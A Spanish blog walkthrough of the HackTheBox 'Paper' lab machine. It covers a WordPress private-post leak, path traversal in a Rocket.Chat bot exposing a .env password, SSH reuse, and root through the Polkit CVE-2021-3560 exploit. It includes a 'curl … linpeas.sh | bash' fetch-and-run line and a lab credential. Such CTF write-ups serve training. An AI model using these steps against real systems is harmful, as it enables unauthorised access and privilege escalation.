Inicio HTB - Paper
Entrada
Cancelar

HTB - Paper

En este post veremos la resolucion detallada de la maquina Paper, tiene un nivel de dificultad facil. Es bastante sencilla y buena para quien esta empezando.

Veremos las siguientes técnicas a lo largo de la resolución:

  • Information Leakage
  • Abussing WordPress - Unauthenticated View Private/Draft Posts
  • Abusing Rocket Chat Bot
  • Polkit (CVE-2021-3560) [Privilege Escalation]”

Reconocimiento.

Realizamos un ping a la máquina víctima para comprobar que tenemos traza ICMP y averiguar el S.O mediante el TTL:

1
2
3
4
5
6
7
8
┌─[root@h4cknet]─[/home/w0lfst/HTB/Paper]
└──╼ #ping -c 1 10.10.11.143
PING 10.10.11.143 (10.10.11.143) 56(84) bytes of data.
64 bytes from 10.10.11.143: icmp_seq=1 ttl=63 time=67.9 ms

--- 10.10.11.143 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 67.949/67.949/67.949/0.000 ms

Tenemos conexion y estamos ante una máquina Linux, ya que su TTL es menor de 64.

Escaneo de puertos

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌─[root@h4cknet]─[/home/w0lfst/HTB/Paper]
└──╼ #nmap -p- --open -sS --min-rate 5000 -n -Pn -vvv 10.10.11.143 -oG allPorts
Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-12 20:51 CET
Initiating SYN Stealth Scan at 20:51
Scanning 10.10.11.143 [65535 ports]
Discovered open port 80/tcp on 10.10.11.143
Discovered open port 22/tcp on 10.10.11.143
Discovered open port 443/tcp on 10.10.11.143
Completed SYN Stealth Scan at 20:51, 10.65s elapsed (65535 total ports)
Nmap scan report for 10.10.11.143
Host is up, received user-set (0.065s latency).
Scanned at 2022-02-12 20:51:46 CET for 11s
Not shown: 65532 closed tcp ports (reset)
PORT    STATE SERVICE REASON
22/tcp  open  ssh     syn-ack ttl 63
80/tcp  open  http    syn-ack ttl 63
443/tcp open  https   syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 10.77 seconds
           Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB)

En mis apuntes encontrarás más detalladamente que hace cada parámetro del comando.

Utilizaremos la utilidad extractPorts de s4vitar para extraer los puertos del resultado y que se copien automaticamente a la clipboard.

1
2
3
4
5
6
7
8
9
┌─[root@h4cknet]─[/home/w0lfst/HTB/Paper]
└──╼ #extractPorts allPorts 

[*] Extracting information...

    [*] IP Address: 10.10.11.143
    [*] Open ports: 22,80,443

[*] Ports copied to clipboard

Escaneo de servicios que corren cada puerto.

Lanzamos un nmap indicando que queremos lanzar unos scripts básicos de enumeración, para así averiguar más información acerca de los puertos abiertos.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
┌─[✗]─[root@h4cknet]─[/home/w0lfst/HTB/Paper]
└──╼ #nmap -sCV -p22,80,443 10.10.11.143 -oN targeted
Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-12 20:53 CET
Nmap scan report for 10.10.11.143
Host is up (0.042s latency).

PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.0 (protocol 2.0)
| ssh-hostkey: 
|   2048 10:05:ea:50:56:a6:00:cb:1c:9c:93:df:5f:83:e0:64 (RSA)
|   256 58:8c:82:1c:c6:63:2a:83:87:5c:2f:2b:4f:4d:c3:79 (ECDSA)
|_  256 31:78:af:d1:3b:c4:2e:9d:60:4e:eb:5d:03:ec:a0:22 (ED25519)
80/tcp  open  http     Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1k mod_fcgid/2.3.9)
|_http-generator: HTML Tidy for HTML5 for Linux version 5.7.28
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: HTTP Server Test Page powered by CentOS
|_http-server-header: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9
443/tcp open  ssl/http Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1k mod_fcgid/2.3.9)
|_ssl-date: TLS randomness does not represent time
|_http-server-header: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9
| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=Unspecified/countryName=US
| Subject Alternative Name: DNS:localhost.localdomain
| Not valid before: 2021-07-03T08:52:34
|_Not valid after:  2022-07-08T10:32:34
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-generator: HTML Tidy for HTML5 for Linux version 5.7.28
| tls-alpn: 
|_  http/1.1
|_http-title: HTTP Server Test Page powered by CentOS

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 29.56 seconds
PuertoServicioVersion
22sshOpenSSH 8.0
80httpApache httpd 2.4.37
443ssl/httpApache httpd 2.4.37

whatweb.

Analizaremos la web con la herramienta whatweb para obtener más información:

1
2
3
┌─[w0lfst@h4cknet]─[~/HTB/Paper]
└──╼ $whatweb http://10.10.11.143
http://10.10.11.143 [403 Forbidden] Apache[2.4.37][mod_fcgid/2.3.9], Country[RESERVED][ZZ], Email[webmaster@example.com], HTML5, HTTPServer[CentOS][Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9], IP[10.10.11.143], MetaGenerator[HTML Tidy for HTML5 for Linux version 5.7.28], OpenSSL[1.1.1k], PoweredBy[CentOS], Title[HTTP Server Test Page powered by CentOS], UncommonHeaders[x-backend-server], X-Backend[office.paper]

Llama la atención X-Backend[office.paper], parece un dominio. Lo añadimos al /etc/hosts para ver si se está aplicando virtual hosting:

Efectivamente, como resultado vemos una nueva web.

Analizando sitio nuevo.

La página está hecha con WordPress. Analizamos un poco la página y encontramos tres usuarios, dos de ellos son válidos en el login de wordpress.

Usuarios válidos en el login:

  • prisonmike.
  • nick.

Luego observamos en un artículo un comentario que dice:

Michael, you should remove the secret content from your drafts ASAP, as they are not that secure as you think!

Esto llama mucho la atención, así que procedemos a buscar la versión de WordPress con la extensión de Wappalyzer (también podemos saberlo mirando el código fuente de la web). La versión es 5.2.3. Utilizaremos searchsploit para encontrar alguna vulnerabilidad que podamos aprovechar:

1
2
3
4
5
6
7
8
9
10
11
12
13
┌─[root@h4cknet]─[/home/w0lfst/HTB/Paper/content]
└──╼ #searchsploit wordpress 5.2.3
------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
 Exploit Title                                                                                                                                              |  Path
------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
WordPress Core 5.2.3 - Cross-Site Host Modification                                                                                                         | php/webapps/47361.pl
WordPress Core < 5.2.3 - Viewing Unauthenticated/Password/Private Posts                                                                                     | multiple/webapps/47690.md
WordPress Core < 5.3.x - 'xmlrpc.php' Denial of Service                                                                                                     | php/dos/47800.py
WordPress Plugin DZS Videogallery < 8.60 - Multiple Vulnerabilities                                                                                         | php/webapps/39553.txt
WordPress Plugin iThemes Security < 7.0.3 - SQL Injection                                                                                                   | php/webapps/44943.txt
WordPress Plugin Rest Google Maps < 7.11.18 - SQL Injection                                                                                                 | php/webapps/48918.sh
------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
Shellcodes: No Results

Y encontramos una forma de ver los posts ocultos.

Explotando vulnerabilidad.

Examinamos WordPress Core < 5.2.3 - Viewing Unauthenticated/Password/Private Posts:

1
searchsploit -x multiple/webapps/47690.md

Nos dice que si añadimos ?static=1 al final de la url veremos los post ocultos:

Registro en subdominio.

En los posts ocultos encontramos un subdominio. Lo añadimos chat.office.paper al /etc/hosts e introducimos la url en una nueva pestaña:

Explorando el chat general vemos que hay implementado un bot. Abrimos un nuevo chat privado con el. Por seguridad, solo podemos ver ficheros de la carpeta sales, pero si probamos a hacer un list ../ podemos ver los ficheros del home:

El bot está desarrollado con hubot. Buscamos la documentación y allí vemos que el bot necesita un archivo .env con algunas variables. Una de ellas es la contraseña del bot:

1
2
3
4
5
6
7
8
export ROCKETCHAT_URL='http://127.0.0.1:48320'
export ROCKETCHAT_USER=recyclops
export ROCKETCHAT_PASSWORD=Queenofblad3s!23
export ROCKETCHAT_USESSL=false
export RESPOND_TO_DM=true
export RESPOND_TO_EDITED=true
export PORT=8000
export BIND_ADDRESS=127.0.0.1

Tenemos una contraseña Queenofblad3s!23.

Acceso a la máquina.

Probaremos a conectarnos por ssh con el usuario propietario (dwight) del fichero:

1
ssh dwight@10.10.11.143

¡Estamos dentro! Ya podemos visualizar la flag para introducirla en HackTheBox.

Escalar privilegios.

Enumerando las distintas maneras posibles de escalar privilegios no encontramos nada interesante. Utilizaremos linpeas para que haga un reconocimiento más a fondo:

Primero, abro un servidor en mí máquina:

1
python3 -m http.server 8080

Luego, hacemos un curl a nuestro servidor para que ejecute linpeas sin descargarlo en la máquina víctima:

1
curl http://tu-ip:8080/linpeas.sh | bash

Nos reporta que tiene una vulnerabilidad, la cual, puede ser explotada con el CVE-2021-3560.

Utilizamos el exploit hecho por el propio creador de esta máquina:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
./CVE-2021-3560.sh -u=w0lfst -p=w0lfst
[!] Username set as : w0lfst
[!] No Custom Timing specified.
[!] Timing will be detected Automatically
[!] Force flag not set.
[!] Vulnerability checking is ENABLED!
[!] Starting Vulnerability Checks...
[!] Checking distribution...
[!] Detected Linux distribution as "centos"
[!] Checking if Accountsservice and Gnome-Control-Center is installed
[+] Accounts service and Gnome-Control-Center Installation Found!!
[!] Checking if polkit version is vulnerable
[+] Polkit version appears to be vulnerable!!
[!] Starting exploit...
[!] Inserting Username w0lfst...
Error org.freedesktop.Accounts.Error.PermissionDenied: Authentication is required
[+] Inserted Username w0lfst  with UID 1005!
[!] Inserting password hash...
[!] It looks like the password insertion was succesful!
[!] Try to login as the injected user using su - w0lfst
[!] When prompted for password, enter your password 
[!] If the username is inserted, but the login fails; try running the exploit again.
[!] If the login was succesful,simply enter 'sudo bash' and drop into a root shell!

Después de ejecutarlo, se crea un nuevo usuario con permisos sudo.

Iniciamos la sesión con este usuario y ejecutamos sudo root para convertirnos en root.

¡Ya tenemos control total! Y podemos visualizar la flag del usuario root.

Exploits y contenido: En mi github encontrarás los archivos de reconocimiento.

Esta entrada está licenciada bajo CC BY 4.0 por el autor.